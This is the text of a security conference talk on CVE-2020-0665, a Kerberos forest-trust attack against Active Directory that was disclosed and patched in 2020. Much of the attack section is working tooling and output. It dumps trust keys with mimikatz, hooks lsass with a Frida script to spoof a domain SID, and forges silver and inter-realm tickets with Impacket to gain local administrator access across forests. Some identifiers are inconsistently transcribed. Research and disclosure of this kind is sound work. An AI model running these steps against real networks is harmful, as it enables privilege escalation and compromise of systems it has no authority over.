Walking your dog in multiple forests

Breaking AD Trust Boundaries through Kerberos Vulnerabilities

Dirk-jan Mollema
Whoami

- Dirk-jan Mollema
- Lives in The Netherlands
- Hacker / Red Teamer / Researcher @ Fox-IT since 2016
- Author of several Active Directory tools
  - Mitm6
  - ldapdomaindump
  - BloodHound.py
  - aclpwn.py
  - Co-author of ntlmrelayx
- Blogs on dirkjanm.io
  - PrivExchange
- Tweets stuff on @_dirkjan
This talk

- Kerberos across domains – quick overview
- Forest and domain trusts
- Trust transitivity
- Breaking forest trusts
Kerberos terminology reminder

• TGT = Ticket Granting Ticket
  • Given by DC to authenticated user

• TGT is used to request Service Tickets
  • Can be used to authenticate against services

• PAC = Privilege Attribute Certificate
  • Contained in TGT, copied to Service Ticket
  • Tells the service which user you are and groups you’re in based on Security Identifiers (SIDs)
  • Example SID: S-1-5-21-3286968501-24975625-1618430583-512
Important Kerberos points

- Kerberos is decentralized
- Trust is based on cryptography
Kerberos authentication and trust
Kerberos authentication and trust

• TL;DR:
  • DC trusts the TGT because it is encrypted with krbtgt password
  • Service trusts Service Ticket because it’s encrypted with their own password

• Common attacks/backdoors
  • Compromised AD domain → Compromised krbtgt
    • Create arbitrary TGT’s that are considered valid by DC (golden tickets)
  • Compromised Service password
    • Create arbitrary Service Tickets that are considered valid by the service (silver tickets)
Forest trusts

Two-way forest trust

forest-a.local

sub.forest-a.local

forest-b.local
Kerberos authentication over (forest) trusts

Previous work on breaking forest trusts

• Will Schroeder and Lee Christensen published the first attack that broke forest trusts

• Built on Kerberos delegation

• Fixed in 2019 due to changes in how delegation works over trusts by default

https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
Designing a new forest trust attack

Compromised forest

forest-a.local

sub.forest-a.local

forest-b.local
Designing a new forest trust attack

- Full control over compromised forest
- Assume any information that flows to the trusting forest can be modified (theory)
- Do not assume any non-default configuration
  - (any access explicitly given to users in the compromised forest is obviously not a vulnerability)
Research questions

• What information is exchanged between the forests?

• Can we modify this information in a way that is advantageous to us?
Trust transitivity

• Does the fact that Forest B trust Forest C mean Forest A trusts Forest C?
Trust transitivity

- **Short answer:** no

- **Long answer:**
  - For forest transitive trusts, both forests keep a list of the domains in the other forest
  - Only the SIDs from those domains pass SID filtering
  - Forest A has no trust with forest C, and thus has no clue it even exists
  - Even if we could get forest B to sign a referral ticket, forest A would be like “never heard of Forest C, gtfo”
Inspecting trust properties
Domain sub.forest-a.krbtgt.cloud has SID S-1-5-21-1258691798-1044536029-2789180221
Domain forest-a.krbtgt.cloud has SID S-1-5-21-4138248074-3154221552-1885830394

[MS-ADTS] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/96e44639-eb3e-48c3-a565-1d67cceb3bad
Parser: https://github.com/dirkjanm/forest-trust-tools/blob/master/ftinfo.py
What about new domains

• Suppose a new subdomain is added in Forest A
• Will forest B automatically trust this domain too?
• How is the new domain communicated to Forest B?
• Let’s test it!
Adding a new subdomain

• The PDC of Forest B queries Forest A about every 24 hours

• Using the NETLOGON protocol and the **NetrGetForestTrustInformation** operation

• Uses the trust account to authenticate

• New subdomains in Forest A are automatically added to the **msDs-TrustForestTrustInfo** property of the **TrustedDomain** object in Forest B
Replicating the NETLOGON flow (1)

- Dump trust passwords in Forest A with mimikatz

```
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::trust /patch

Current domain: FOREST-A.KRBGT.CLOUD (forest-a / S-1-5-21-4138248074-3154221552-1885830394)

Domain: FOREST-B.KRBGT.CLOUD (forest-b / S-1-5-21-2718814155-4002503294-3915132017)
[ In ] FOREST-B.KRBGT.CLOUD -> FOREST-A.KRBGT.CLOUD
  * 8/17/2020 3:34:01 PM - CLEAR - d2 26 d7 c3 9b 9f fb 4f e8 5e 7f ec 6f ae a1 7a 4b 5c 7d d8 15 32 b9 78 45 31 fc 19
    * aes256_hmac 2dbb3e82e6e72eeec9933abdfb5f280222ef3c66fecd52c8c159a46b95466e847282dc8
    * aes128_hmac 3831364ff525d559d0017357d6178ab3d
    * rc4_hmac_nt cd79af1e1564da0f925d3280764e765b8

  * 8/17/2020 3:34:01 PM - CLEAR - d2 26 d7 c3 9b 9f fb 4f e8 5e 7f ec 6f ae a1 7a 4b 5c 7d d8 15 32 b9 78 45 31 fc 19
    * aes256_hmac 38e190e58ae30f627cb34d1790ba012bb8770b3777ecaa66ccfe858530e1cdd
    * aes128_hmac e3bbac1719bb0b19f1ca184ef6f9a1f
    * rc4_hmac_nt cd79af1e1564da0f925d3280764e765b8
```
Replicating the NETLOGON flow (2)

- Custom impactool script to call `NetrGetForestTrustInformation`

```
user@localhost:$ ipc /home/impactool/impactool-talk/impactool-gettrustinfo.py forest-a/forest-b.krbtgt.cloud@forest-a-dc -hashes aad3b435b51404eead3b435b51404ee:cd79af101564d0f025d3280764e765b8 -target-ip forest-a-dc/forest-a.krbtgt.cloud
Impacket v0.9.21.dev1+20200225.153700.afe746d - Copyright 2020 SecureAuth Corporation
```

Parser: https://github.com/dirkjanm/forest-trust-tools/blob/master/gettrustinfo.py
Designing a new forest trust attack (2)

- In theory we can add new domains (SIDs) to the other side of the trust
- Can’t be any existing domains, or any domain/SID from an existing trust
- So how useful is this?
What is a domain

• Ask any domain joined computer how many domains it trusts

• It will tell you: 2
  • Active Directory domain
  • Local domain (SAM)

• Local domain also has a domain SID and RIDs (such as RID 500 account for BUILTIN\Administrator)

• Active Directory is not aware of the SIDs of each member computer
Blind trust?

• Recall that a computer trusts Service Tickets encrypted with it’s password.

• Experiment:
  • Create fake Service Ticket with the SID of a user without privileges
  • Include <local domain SID>-500 as extra SID
Experiment: Silver ticket with regular user

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for forest-b.krbtgt.cloud/somelowprivuser
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in somelowprivuser.ccache
SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
Experiment: Silver ticket with local Administrator SID

```
(user@localhost$ impacket-3-bgmC07jP) user@localhost$ impacket-3-py3$ ticketer.py -spn cifs/forest-b-server.forest-b.krbtgt.cloud -domain forest-b.krbtgt.cloud -domain-sid S-1-5-21-271881415-4602503294-3961629017 -user-id 1000 somelowprivuser -aesKey cf53c14d7011b29b1ec55c0dd14b56061339b3aa2160e62051a6a88824364b3b -groups 513 -extra-sid S-1-5-21-2937342636-164546242-3842484607-500
(user@localhost$ impacket-3-bgmC07jP) user@localhost$ impacket-3-py3$ smbclient.py -k forest-b-server.forest-b.krbtgt.cloud -debug
Impacket v0.9.21.dev1+202900225.153790.422166 - Copyright 2020 SecureAuth Corporation

[+] Impacket Library Installation Path: /home/dirkjan/impacket-3/impacket
[+] Using Kerberos Cache: somelowprivuser.ccache
[+] Domain retrieved from CCache: FOREST-B.KRBGTG.CLOUD
[+] Returning cached credential for CIFS/FOREST-B-SERVER.KRBGTG.CLOUD@FOREST-B.KRBGTG.CLOUD
[+] Using TGS from cache
[+] Username retrieved from CCache: somelowprivuser
Type help for list of commands
# use C$
# ls
drw-rw-rw- 0 Mon Aug 17 12:45:45 2020 $Recycle.Bin
-rw-rw-rw- 389408 Thu Dec 5 06:28:06 2019 bootmgr
-rw-rw-rw- 1 Thu Dec 5 06:28:06 2019 BOOTNXT
drw-rw-rw- 0 Thu Dec 5 06:44:12 2019 Documents and Settings
drw-rw-rw- 0 Wed Aug 19 19:20:01 2020 Packages
drw-rw-rw- 0 Thu Dec 5 06:37:36 2019 PerfLogs
drw-rw-rw- 0 Thu Dec 5 06:37:36 2019 Program Files
drw-rw-rw- 0 Thu Dec 5 06:37:36 2019 Program Files (x86)
drw-rw-rw- 0 Mon Aug 17 18:35:12 2020 ProgramData
drw-rw-rw- 0 Thu Dec 5 06:44:13 2019 Recovery
drw-rw-rw- 0 Thu Dec 5 06:40:41 2019 System Volume Information
drw-rw-rw- 0 Mon Aug 17 12:44:52 2020 Users
drw-rw-rw- 0 Mon Aug 17 10:46:32 2020 Windows
drw-rw-rw- 0 Wed Aug 19 19:20:01 2020 WindowsAzure
```
Blind trust

• Even though Active Directory is not authoritative for groups in the local computer’s domain, SIDs of these groups are accepted in Service Tickets

• Local admin access granted when either:
  • Domain SID + RID 500 is used as primary domain in the PAC
  • <local domain SID>-500 is added as extra SID
Designing a new forest trust attack (3)
Few missing pieces

• Convert theory of spoofing a domain into practice

• Obtain local SID of victim computer
Obtaining local SID

- Windows older than Windows 10 build 1607 can use SAMR RPC
- For newer versions admin access is required (not useful for us)

3.1.4.6 LsarLookupNames3 (Opnum 68)

The LsarLookupNames3 method translates a batch of security principal names to their SID form. It also returns the domains that these names are a part of.<sup>28</sup>

```
NTSTATUS LsarLookupNames3(
    [in] LSAPR_HANDLE PolicyHandle,
    [in, range(0,1000)] unsigned long Count,
    [in, size_is(Count)] PRPC_UNICODE_STRING Names,
    [out] PLSAPR_REFERENCED_DOMAIN_LIST* ReferencedDomains,
    [in, out] PLSAPR_TRANSLATED_SIDS_EX2 TranslatedSids,
    [in] LSAP_LOOKUP_LEVEL LookupLevel,
    [in, out] unsigned long* MappedCount,
    [in] unsigned long LookupOptions,
    [in] unsigned long ClientRevision
);
```
[MS-LSAT] and Impacket RPC to the rescue

```bash
(user@localhost:~/impacket-py3$ python getlocalsid.py forest-a/superuser@forest-b-server.forest-b.krbtgt.cloud forest-b-server
[*] Impacket v0.9.21.dev1+20200225.153700.afe746d - Copyright 2020 SecureAuth Corporation
Password:
[*] Connecting to LSARPC named pipe at forest-b-server.forest-b.krbtgt.cloud
[*] Bind OK
Found local domain SID: S-1-5-21-2937342636-164546242-3042484607
```
How to become a domain in 4 easy ways

- Add a new subdomain to Forest A
- Promote a member server to a (new) DC and make sure generated SID matches local SID
- Modify the forest structure via LDAP to add the required objects that represent a subdomain manually
- Hook lsass.exe when the `NetrGetForestTrustInformation` is processed in Forest A and add an extra domain with the SID we want to target to the output list
- Hook lsass.exe when the `NetrGetForestTrustInformation` is processed in Forest A and replace the SID of an existing subdomain with the target SID
Debugging `NetrGetForestTrustInformation` in `lsass`
Debugging NetrGetForestTrustInformation in lsass

- Follow netlogon calls until we’re at the function which builds the result blocks
Debugging NetrGetForestTrustInformation in lsass
Debugging NetrGetForestTrustInformation in lsass

```
qword ptr [00007FFF3D6466D8 <lsadb.&RtlLengthSid>]=<ntdll.RtlLengthSid>
```

```
.text:00007FFF3D6351B5 lsadbd.dll:$151B5 #14585
```

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>000018B310F6A8</td>
<td>01 04 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6AC</td>
<td>01 05 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6AD</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6AE</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6AF</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B0</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B1</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B2</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B3</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B4</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B5</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B6</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B7</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B8</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6B9</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
<tr>
<td>000018B310F6BC</td>
<td>00 00 00 00</td>
<td>...</td>
</tr>
</tbody>
</table>

Command:

**Paused**

INT3 breakpoint at lsadbd.00007FFF3D6351B5 (00007FFF3D6351B5)
Manual... or automated

```javascript
// Find base address of current imported lsadbd.dll by lsass
var baseAddr = Module.findBaseAddress('lsadbd.dll');
console.log('lsadbd.dll baseAddr: ' + baseAddr);
// Add call to RtlLengthSid from LsaDbpDsForestBuildTrustEntryForAttrBlock
// (address valid for Server 2016 v1607)
var returnaddr = ptr('0x151dc');
var resolvedreturnaddr = baseAddr.add(returnaddr);
// Sid as binary array to find/replace
var buf1 = [0x01, 0x04, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x00, 0xd6, 0x8c, 0x00, 0x0d, 0x4b, 0];
var newsid = [0x01, 0x04, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x4a, 0x14, 0x4a];
// Find module and attach
var f = Module.getExportByName('ntdll.dll', 'RtlLengthSid');
Interceptor.attach(f, {
    onEnter: function (args) {
      // Only do something calls that have the return address we want
      if(this.returnValue.equals(resolvedreturnaddr)){
        console.log("entering intercepted function will return to r2 " + this.returnValue);
        // Dump current SID
        console.log(hexdump(args[0], {
            offset: 0,
            length: 24,
            header: true,
            ansi: false
        }));
      }
      // If this is the sid to replace, do so
      if(equal(buf1, args[0].readByteArray(24))){
        console.log("sid matches!");
        args[0].writeByteArray(newsid);
        console.log("modified SID in response");
      }
    },
  });
};
```
Let's test the NetrGetForestTrustInformation call

Before

After
And now we wait 24 hours...

- Or we cheat by triggering a manual update
Back to the forest trustinfo

```
user@localhost:~$ python getlocalsid.py forest-a/superuser@forest-b-server.forest-b.krbtgt.cloud forest-b-server
[*] Impacket v0.9.21.dev1+20200225.153700.afe746d - Copyright 2020 SecureAuth Corporation

Password:
[*] Connecting to LSARPC named pipe at forest-b-server.forest-b.krbtgt.cloud
[*] Bind OK

Found local domain SID: S-1-5-21-2937342636-164546242-3042484607

Domain sub.forest-a.krbtgt.cloud has SID S-1-5-21-2937342636-164546242-3042484607
Domain forest-a.krbtgt.cloud has SID S-1-5-21-4138248874-3154221552-1885838394
```
Inter-realm TGT forging fun

(impacket-py3-bbmC07jP) user@localhost:$/forest-trust-tools$ ticketer.py -domain forest-a.krbtgt.cloud -domain-sid S-1-5-21-4138248074-3154221552-1885830394 -user-id 1000 someolowprivuser -aesKey 2dbb3e82ede72eece993abddf5920822e73c66f3c52c8b5a4350a966e84d66c8 -spn krbtgt/FOREST-B.KRBGT.CLOUD -groups 513 -extra-sid S-1-5-21-2937342636-164546242-3042484607-500
Impacket v0.9.21.dev1+20200225.153700.afe746d - Copyright 2020 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for forest-a.krbtgt.cloud/someolowprivuser
   PAC LOGON INFO
   PAC_CLIENT_INFO_TYPE
   EncTicketPart
   EncTGSRepPart
[*] Signing/Encrypting final ticket
   PAC SERVER CHECKSUM
   PAC PRVSVR_CHECKSUM
   EncTicketPart
   EncTGSRepPart
[*] Saving ticket in someolowprivuser.ccache
(impacket-py3-bbmC07jP) user@localhost:~/forest-trust-tools$ export KRB5CCNAME=somelowprivuser.ccache
(impacket-py3-bbmC07jP) user@localhost:~/forest-trust-tools$ python getftST.py test/hoi -no-pass -target-domain forest-b.krbtgt.cloud -via-domain forest-a.krbtgt.cloud -spn cifs/forest-b-server.forest-b.krbtgt.cloud -dc-ip forest-b-dc.forest-b.krbtgt.cloud -debug
Impacket v0.9.21.dev14+20200225.153700.afe746d - Copyright 2020 SecureAuth Corporation

[+] Using Kerberos Cache: somelowprivuser.ccache
[+] Returning cached credential for KRBTGT/FOREST-B.KRBTGT.CLOUD@FOREST-A.KRBTGT.CLOUD
[*] Using TGT from cache

[*] Getting ST for user
forest-b.krbtgt.cloud
[+] Trying to connect to KDC at forest-b-dc.forest-b.krbtgt.cloud
[+] TGS REP
TGS REP:
    pvno=5
    msg-type=13
    realm=FOREST-A.KRBTGT.CLOUD
    cname=PrincipalName:
        name-type=1
        name-string=SequenceOf:
            somelowprivuser
    ticket=Ticket:
        tkt-vno=5
        realm=FOREST-B.KRBTGT.CLOUD
        sname=PrincipalName:
            name-type=2
            name-string=SequenceOf:
                cifs forest-b-server.forest-b.krbtgt.cloud
Analyzing returned service ticket

• Extra SID passed the SID filtering!

Username: somelowprivuser
Domain SID: S-1-5-21-4138248074-3154221552-1885830394
UserId: 1000
PrimaryGroupId 513
Member of groups:
  -> 513 (attributes: 7)
LogonServer:
LogonDomainName: FOREST-A.KRBGT.CLOUD

Extra SIDS:
  -> S-1-5-21-2937342636-164546242-3042484607-500
Accessing our target server using the exploit

```bash
{impacket-py3-bbmC07jP} user@localhost:~/$ forest-trust-tools$ export KRB5CCNAME=hoi.cache
{impacket-py3-bbmC07jP} user@localhost:~/$ forest-trust-tools$ smbclient.py -k forest-b-server.forest-b.krbtgt.cloud -debug
Impacket v0.9.21.dev1+20200225.153700.afe746d - Copyright 2020 SecureAuth Corporation

[+] Impacket Library Installation Path: /home/dirkjan/impacket-py3/impacket
[+] Using Kerberos Cache: hoi.cache
[+] Domain retrieved from CCache: FOREST-A.KRBGTG.CLOUD
[+] Returning cached credential for CIFS/FOREST-B-SERVER.FOREST-B.KRBGTG.CLOUD@FOREST-B.KRBGTG.CLOUD
[+] Changing name from cifs/forest-b-server.forest-b.krbtgt.cloud@FOREST-B.KRBGTG.CLOUD to cifs/FOREST-B-SERVER.FOREST-B.KRBGTG.CLOUD@FOREST-A.KRBGTG.CLOUD and hoping for the best
[+] Using TGS from cache
[+] Username retrieved from CCache: somelowprivuser

Type help for list of commands
# use C$
# ls
-rw-rw-r--   0 Mon Aug 17 12:45:45 2020 $Recycle.Bin
-rw-rw-r--   0 Mon Aug 17 12:45:45 2020 $Recycle.Bin
-rw-rw-r--   0 Mon Aug 17 12:45:45 2020 $Recycle.Bin
```
Mimikatz / kekeo demo
Attack conclusions

• Can be used to compromise any non-DC in a trusting forest

• Works with one-way trust (but requires 1 account in other forest to find SID)

• Does not work against the trust direction
Disclosure timeline

- Disclosed to MSRC on October 1st 2019
- Agreed on February 2020 patch date due to complexity
- Fixed on Patch Tuesday in February and assigned CVE-2020-0665
General conclusions

• Even though a trust is (sometimes) recognized as security boundary, a “trust” still implies “trust”

• Good firewalling / network segmentation will protect against most 0-days

• Even though extended transitivity is not a thing, if you compromise one trust at the time it’s still a thing
Acknowledgements

• Benjamin Delpy, Will Schroeder, Lee Christensen, Sean Metcalf for being fellow AD/Kerberos/trusts enthusiasts.

• Alberto Solino for his endless work on impacket and RPC madness

• Ruben Boonen for their Frida tutorial

• All the other giants on whose shoulders we stand
Toolz + questions

• All scripts used can be found on my GitHub

https://github.com/dirkjanm/forest-trust-tools/

Questions welcome live, in comments or via DM @_dirkjan